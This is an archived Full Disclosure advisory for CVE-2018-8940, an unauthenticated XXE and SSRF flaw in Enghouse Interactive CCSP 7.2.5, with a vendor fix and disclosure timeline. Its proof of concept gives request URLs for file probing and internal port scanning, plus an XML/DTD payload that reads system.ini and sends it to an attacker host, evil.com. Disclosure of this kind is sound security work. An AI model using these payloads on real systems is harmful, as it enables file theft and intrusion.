Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF,vulnerability via unauthenticated GET Request

Related Vulnerabilities: CVE-2018-8940  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="8"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#9">By Date</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="8"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#9">By Thread</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF,vulnerability via unauthenticated GET Request</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: David H &lt;david.herrero.pena () gmail com&gt;


<em>Date</em>: Thu, 9 May 2019 11:56:38 +0200


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">&lt;!--
# Exploit Title: Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF
vulnerability via unauthenticated GET Request
# Date: 05-08-2018
# Exploit Author: David Herrero
# Vendor Homepage: <a rel="nofollow" href="https://www.enghouseinteractive.com">https://www.enghouseinteractive.com</a>
# Software Link:
<a rel="nofollow" href="https://www.enghouseinteractive.com/products/contact-center/contact-center-for-service/">https://www.enghouseinteractive.com/products/contact-center/contact-center-for-service/</a>
# Version: Enghouse Interactive´s CCSP 7.2.5.102
# Tested on: Windows
# CVE : CVE-2018-8940
# Category: vulnerability

1. Description

The Techpoint API located at
<a rel="nofollow" href="https://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase,specifically">https://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase,specifically</a>
the file
"TouchPoint\\Agent\\Enghouse.Gadgetory.Web\\Controllers\\ClientServiceConfigController.cs:line60"
allows an unauthenticated user to control the resource the application
will load. The application will load the resource, and will try to parse
it as an XML document. In this case, DTD are allowed in the file, so an
attacker can forge the malicious XML file with a DTD inside, and use
this XML to read files from the server, SSRF attacks, and check for
valid documents inside the server.

The vulnerable URI is

<a rel="nofollow" href="http://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=ATTACKERCONTROLLEDPARAMETER">http://DOMAIN/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=ATTACKERCONTROLLEDPARAMETER</a>
The value of "ATTACKERCONTROLLEDPARAMETER" is controlled by the
attacker, it can be used for various attacks:

1) Local file check
TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=C:\Users\USER1

Will check for the existence of user "USER1" inside the server, will
respond with an "authorization error" if the user exists, and with "file
not found" error if the user does not exist.

2) SSRF of internal network
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=<a rel="nofollow" href="http://localhost:80/a.html">http://localhost:80/a.html</a>

Will check if the port 80 is open in the server in the internal network,
can be used for scanning ports in adjacent machines. The errors if the
port is open or closed are different.

3) XXE with file exfiltration
The application expects a valid XML file as parameter, if the server
that runs the application has connectivity with internet or with an
attacker's controlled machine, the attacker can host a malicious XML
file and force the application to parse it.

2. Proof of Concept

1)Local file check
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=C:\Users\USER1

2) SSRF in internal network
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=<a rel="nofollow" href="http://localhost:80/a.html">http://localhost:80/a.html</a>

3) XXE OOB file exfiltration
/TouchPoint/api/ClientServiceConfig/GetWcfBase?&amp;clientInstallationServiceXmlPath=<a rel="nofollow" href="http://evil.com/XXE.xml">http://evil.com/XXE.xml</a>

In this case "evil.com" is a domain controlled by the attacker.
The content of "XXE.xml" is:

&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;!DOCTYPE demo [
&nbsp;&nbsp;&nbsp; &lt;!ELEMENT demo ANY &gt;
&nbsp;&nbsp;&nbsp; &lt;!ENTITY % dtd SYSTEM "<a rel="nofollow" href="http://evil.com/XXE.dtd&quot;">http://evil.com/XXE.dtd"</a>;&gt;
&nbsp;&nbsp;&nbsp; %dtd;
&nbsp;&nbsp;&nbsp; ]
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">
</pre></blockquote><pre style="margin: 0em;">&lt;demo&gt;&amp;send;&lt;/demo&gt;

The content of "<a rel="nofollow" href="http://evil.com/XXE.dtd&quot;">http://evil.com/XXE.dtd"</a>; is:
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&nbsp;&nbsp;&nbsp; &lt;!ENTITY % file SYSTEM "file:///C:\windows\system.ini"&gt;
&lt;!ENTITY % alla "&lt;!ENTITY send SYSTEM
'<a rel="nofollow" href="http://evil.com/index.html?collect=%file;&amp;apos">http://evil.com/index.html?collect=%file;&amp;apos</a>;&gt;"&gt;
%alla;

With this two files, we are able to red the local file located at
"C:\windows\system.ini" and the content of the file is send to
"<a rel="nofollow" href="http://evil.com/index.html?collect&quot;">http://evil.com/index.html?collect"</a>; in the URL, so the attacker can
visualize the content of the file in the access logs.

3. Prerequisites
For Local File Check and SSRF there are not requirements. For XXE the
attacked server should have connectivity with the attacker controlled
server. No firewall blocking outcomming connections.

4. Solution:

Update to version 7.2.9

5. Dates
03/21/2018 - Discovered Vulnerability
03/21/2018 - Request for CVE
03/22/2018 - CVE Reserved
03/26/2018 - Details sent to Vendor
04/14/2019 - Vendor confirms that version 7.2.9 correct the vulnerability
05/08/2019 - Public disclosure

</pre><p><strong>Attachment:
<a href="att-9/pEpkey_asc.bin"><tt>pEpkey.asc</tt></a></strong>

<em>Description:</em> </p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="8"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#9">By Date</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="8"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#9">By Thread</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF,vulnerability via unauthenticated GET Request</strong> <em>David H (May 10)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>